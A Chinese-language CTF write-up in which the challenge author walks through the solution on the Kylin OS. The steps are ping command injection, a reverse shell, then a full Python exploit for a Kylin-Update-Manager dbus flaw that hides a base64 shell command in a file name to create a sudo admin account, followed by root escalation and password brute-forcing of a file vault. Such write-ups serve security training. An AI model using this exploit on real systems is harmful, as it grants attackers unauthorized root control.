继续朝花夕拾,把自己出的题的解题思路发一份在这里存着。
1.银河麒麟系统特性
2.银河麒麟系统提权
1.打开是这样一个界面,可以对指定的 IP 地址发起 ping。
2.抓取请求,注入命令,反弹 Shell。
3.尝试执行自定义脚本,未果,推测有拦截。
4.则尝试用 dbus 提权,审计 Kylin-Update-Manager 的源码,可以发现这个漏洞 https://www.cnvd.org.cn/flaw/show/CNVD-2022-78421 还没修。
则 spawn 一个终端出来。
python3 执行下面的脚本。
from pathlib import Path
import dbus
import base64
from pathlib import Path
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
Path(path).touch()
bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
print("Command executed!")
直接全部粘进去让它执行。
5.接下来就可以 su fakeadmin, 然后就可以用 Bb123*** 这个密码登录,然后就可以sudo su 提权到root。
然后就可以修改 glzjin 的密码了。
6.然后接下来切换到 glzjin 用户,启动 vncserver。
7.然后开启文件保险箱,初始化失败。
8.需要想办法把vncserver的父进程id挂到当前系统登录的session里,可以用快捷方式+开机启动项操作。
9.重启,再连接,即可打开文件保险箱。
10.使用rockyou.txt 密码尝试,尝试到大概三百个左右时 “maganda” 这个密码可行,打开即可看到flag。
比赛时候有一个非预期解,是直接拿WPS的缓存读到这个文档了,失算失算:)